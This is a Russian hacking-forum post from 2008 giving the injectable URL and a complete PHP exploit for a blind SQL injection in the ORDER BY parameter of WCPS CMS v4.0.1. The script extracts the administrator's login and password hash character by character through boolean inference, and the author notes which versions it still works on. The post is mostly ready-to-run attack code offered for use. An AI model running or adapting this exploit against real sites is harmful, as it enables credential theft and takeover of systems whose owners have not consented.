Показать сообщение отдельно

  #14  
Старый 18.01.2008, 18:16
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
С нами: 9920546

Репутация: 1796
По умолчанию

Эксплоит к SQL injection в WCPS v 4.0.1
Вот сама уязвимость:
Код:
http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]
Собственно я ее уже публиковал, как помним иньект там проходит после ORDER BY. Ну чтож развеем миф что скуля после ORDER BY не ракручиваемая. Вот эксплоит:
PHP код:
<?php
/*----------------------------------------*\
Експлоит для  cms WCPS v4.0.1
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД

$set['catid']='2';//Номер группы статей
$set['catnm1']='Регистрация Своего Модуля';//Название первой статья отобажаемая по ссылке типа http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=id
$set['catnm2']='Как повысить цитируемость';//Название последней статьи
//----------------------------------------\\
set_time_limit(0);

function 
create_packet($num,$sumb,$maxs,$znak,$column='user_login'){
    global 
$set;

    
$tmp='http://'.$set['host'].$set['patch'];    
    
$tmp.='/index.php?nma=catalog&fla=pod_menu&cat_id=2&by=';
    if(
$znak==='>')$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1)) BETWEEN '.$sumb.' AND '.$maxs.',1,2)))/*');
    else 
$tmp.=urlencode('(-id*(1=IF(ASCII(SUBSTRING((SELECT '.$column.' FROM '.$set['prefix'].'user WHERE id='.$set['id_user'].'),'.$num.',1))'.$znak.$sumb.',1,2)))/*');
    
    return 
$tmp;
}

function 
logg($str){
    echo(
$str.'<br>'."\r\n");
    
flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем логин...');
for(
$i=1;$i<=25;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak));
        
        if((!
strpos($dt,$set['catnm1']))||(!strpos($dt,$set['catnm2'])))die('Не верный префикс, либо неверно указанны названия статей');
        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){        
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
$ret='';
logg('Выдираем хеш...');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=255;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        
$dt=file_get_contents(create_packet($i,$sred,$maxs,$znak,'user_pass'));

        if(
strpos($dt,$set['catnm2'])>strpos($dt,$set['catnm1'])){
            if(
$znak==='>')$mins=$sred;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        
        if(
$i3>30)break;
        else 
$i3++;
    }
    if(
ord(substr($ret,$i-1))==0)break;
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
?>
Вот поймать бы того, кто в фильтр всунул строку user_pass (идиотизм какой-то), так бы сплоент работал и на последней версии 4.1. Но к сожалению в последней версии сплоент выдирает только логин, а вот в предпоследней (4.0.1) успешно вытаскивается админский логин и хеш.
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 18.01.2008 в 22:21..
 
Ответить с цитированием